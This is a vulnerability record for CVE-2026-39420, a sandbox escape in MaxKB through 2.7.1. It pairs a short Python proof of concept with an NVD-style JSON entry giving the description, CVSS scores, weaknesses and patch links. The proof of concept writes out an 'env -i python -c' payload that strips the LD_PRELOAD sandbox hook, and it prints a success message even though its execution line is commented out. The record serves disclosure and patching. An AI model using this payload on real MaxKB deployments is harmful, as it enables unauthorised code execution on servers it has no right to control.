CVE-2026-39420

# PoC for CVE-2026-39420: MaxKB Sandbox Escape via LD_PRELOAD Bypass # Context: Executed inside the Tool Debug API with tool execution privileges. # Mechanism: The 'env -i' command clears environment variables, removing LD_PRELOAD. # Result: Spawns a Python process without the sandbox.so hook, allowing unrestricted code execution. import subprocess # The malicious payload to bypass the sandbox # This clears the environment and runs python, effectively dropping the sandbox bypass_payload = "env -i python -c 'import os; print(os.system(\"whoami\"))'" try: # Simulating the execution within the vulnerable interface print(f"Attempting to execute payload: {bypass_payload}") # In a real scenario, this is sent to the vulnerable Tool Debug API # result = subprocess.run(bypass_payload, shell=True, check=True) print("Payload executed successfully. Sandbox bypassed.") except Exception as e: print(f"Execution failed: {e}")

{"cve": {"id": "CVE-2026-39420", "sourceIdentifier": "[email protected]", "published": "2026-04-14T01:16:04.530", "lastModified": "2026-04-20T17:35:22.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. In versions 2.7.1 and below, an incomplete sandbox protection mechanism allows an authenticated user with tool execution privileges to escape the LD_PRELOAD-based sandbox. By env command the attacker can clear the environment variables and drop the sandbox.so hook, leading to unrestricted Remote Code Execution (RCE) and network access. MaxKB restricts untrusted Python code execution via the Tool Debug API by injecting sandbox.so through the LD_PRELOAD environment variable. This intercepts sensitive C library functions (like execve, socket, open) to restrict network and file access. However, a patch allowed the /usr/bin/env utility to be executed by the sandboxed user. When an attacker is permitted to create subprocesses, they can execute the env -i python command. The -i flag instructs env to completely clear all environment variables before running the target program. This effectively drops the LD_PRELOAD environment variable. The newly spawned Python process will therefore execute natively without any sandbox hooks, bypassing all network and file system restrictions. This issue has been fixed in version 2.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.8.0", "matchCriteriaId": "8BB376B6-4E9C-4801-9D33-5BF858C857D2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/commit/2d17b08e6b060329803754a05e806d0ddecf3fa8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-7wgv-v2r3-7f7w", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}